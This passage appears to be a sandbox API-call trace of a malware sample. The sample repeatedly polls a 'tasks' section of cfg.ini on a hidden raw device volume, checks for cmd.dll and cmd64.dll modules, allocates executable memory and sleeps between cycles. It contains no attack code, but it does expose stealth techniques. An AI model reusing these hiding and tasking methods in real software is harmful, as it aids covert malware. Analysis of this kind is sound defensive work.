ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.343] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.343] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf04b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.343] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.343] KeLeaveCriticalRegion () [0124.343] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.343] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.343] KeEnterCriticalRegion () [0124.343] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.343] ExFreePoolWithTag (P=0xfffffa8003bf03f0, Tag=0x0) [0124.343] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.343] KeLeaveCriticalRegion () [0124.343] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.343] ReleaseMutex (hMutex=0xf0) returned 1 [0124.343] Sleep (dwMilliseconds=0x927c0) [0124.357] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.357] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.357] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.357] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.357] KeEnterCriticalRegion () [0124.357] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.357] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.357] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.357] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.357] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.357] IdePortDispatch () returned 0x103 [0124.357] KeWaitForMutexObject () returned 0x0 [0124.357] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.357] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.357] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.357] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.357] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.357] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf0090 [0124.357] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.357] KeLeaveCriticalRegion () [0124.357] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.357] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.358] KeEnterCriticalRegion () [0124.358] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.358] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.358] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.358] KeLeaveCriticalRegion () [0124.358] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.358] KeEnterCriticalRegion () [0124.358] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.358] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.358] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.358] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.358] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.358] IdePortDispatch () returned 0x103 [0124.358] KeWaitForMutexObject () returned 0x0 [0124.358] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.358] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.358] KeLeaveCriticalRegion () [0124.358] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.358] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.358] KeEnterCriticalRegion () [0124.358] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.358] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800353d000 [0124.358] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.358] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.358] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.358] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.358] IdePortDispatch () returned 0x103 [0124.358] KeWaitForMutexObject () returned 0x0 [0124.358] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.359] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.359] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.359] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.359] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.359] IdePortDispatch () returned 0x103 [0124.359] KeWaitForMutexObject () returned 0x0 [0124.359] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.359] KeLeaveCriticalRegion () [0124.359] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.359] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.359] KeEnterCriticalRegion () [0124.359] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.359] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.359] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.359] KeLeaveCriticalRegion () [0124.359] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.359] KeEnterCriticalRegion () [0124.359] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.359] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.359] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf0150, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.359] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.359] KeLeaveCriticalRegion () [0124.359] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.360] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.360] KeEnterCriticalRegion () [0124.360] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.360] ExFreePoolWithTag (P=0xfffffa8003bf0090, Tag=0x0) [0124.360] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.360] KeLeaveCriticalRegion () [0124.360] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.360] ReleaseMutex (hMutex=0xf0) returned 1 [0124.360] Sleep (dwMilliseconds=0x927c0) [0124.374] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.374] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.374] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.374] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.374] KeEnterCriticalRegion () [0124.374] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.374] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.374] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.374] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.374] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.374] IdePortDispatch () returned 0x103 [0124.375] KeWaitForMutexObject () returned 0x0 [0124.375] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.375] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.375] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.375] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.375] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.375] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf0090 [0124.375] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.375] KeLeaveCriticalRegion () [0124.375] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.375] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.375] KeEnterCriticalRegion () [0124.375] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.375] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.375] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.375] KeLeaveCriticalRegion () [0124.375] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.375] KeEnterCriticalRegion () [0124.375] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.375] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.375] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.375] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.375] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.375] IdePortDispatch () returned 0x103 [0124.375] KeWaitForMutexObject () returned 0x0 [0124.375] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.375] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.375] KeLeaveCriticalRegion () [0124.375] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.376] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.376] KeEnterCriticalRegion () [0124.376] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.376] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003542000 [0124.376] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.376] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.376] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.376] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.376] IdePortDispatch () returned 0x103 [0124.376] KeWaitForMutexObject () returned 0x0 [0124.376] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.376] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.376] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.376] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.376] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.376] IdePortDispatch () returned 0x103 [0124.376] KeWaitForMutexObject () returned 0x0 [0124.376] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.376] KeLeaveCriticalRegion () [0124.376] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.377] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.377] KeEnterCriticalRegion () [0124.377] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.377] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.377] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.377] KeLeaveCriticalRegion () [0124.377] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.377] KeEnterCriticalRegion () [0124.377] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.377] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.377] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1e20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.377] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.377] KeLeaveCriticalRegion () [0124.377] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.377] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.377] KeEnterCriticalRegion () [0124.377] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.377] ExFreePoolWithTag (P=0xfffffa8003bf0090, Tag=0x0) [0124.377] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.377] KeLeaveCriticalRegion () [0124.377] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.377] ReleaseMutex (hMutex=0xf0) returned 1 [0124.377] Sleep (dwMilliseconds=0x927c0) [0124.391] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.391] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.391] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.391] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.391] KeEnterCriticalRegion () [0124.391] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.391] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.391] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.391] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.391] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.391] IdePortDispatch () returned 0x103 [0124.391] KeWaitForMutexObject () returned 0x0 [0124.392] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.392] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.392] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.392] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.392] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.392] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1010 [0124.392] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.392] KeLeaveCriticalRegion () [0124.392] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.392] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.392] KeEnterCriticalRegion () [0124.392] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.392] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.392] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.392] KeLeaveCriticalRegion () [0124.392] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.392] KeEnterCriticalRegion () [0124.392] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.392] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.392] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.392] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.392] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.392] IdePortDispatch () returned 0x103 [0124.392] KeWaitForMutexObject () returned 0x0 [0124.392] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.392] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.392] KeLeaveCriticalRegion () [0124.392] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.392] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.392] KeEnterCriticalRegion () [0124.392] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.393] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003547000 [0124.393] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.393] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.393] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.393] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.393] IdePortDispatch () returned 0x103 [0124.393] KeWaitForMutexObject () returned 0x0 [0124.393] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.393] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.393] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.393] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.393] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.393] IdePortDispatch () returned 0x103 [0124.393] KeWaitForMutexObject () returned 0x0 [0124.393] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.393] KeLeaveCriticalRegion () [0124.393] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.394] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.394] KeEnterCriticalRegion () [0124.394] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.394] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.394] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.394] KeLeaveCriticalRegion () [0124.394] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.394] KeEnterCriticalRegion () [0124.394] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.394] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.394] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf0100, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.394] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.394] KeLeaveCriticalRegion () [0124.394] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.394] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.394] KeEnterCriticalRegion () [0124.394] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.394] ExFreePoolWithTag (P=0xfffffa8003bf1010, Tag=0x0) [0124.394] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.394] KeLeaveCriticalRegion () [0124.394] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.394] ReleaseMutex (hMutex=0xf0) returned 1 [0124.394] Sleep (dwMilliseconds=0x927c0) [0124.408] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.408] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.408] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.408] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.408] KeEnterCriticalRegion () [0124.408] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.408] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.408] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.408] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: 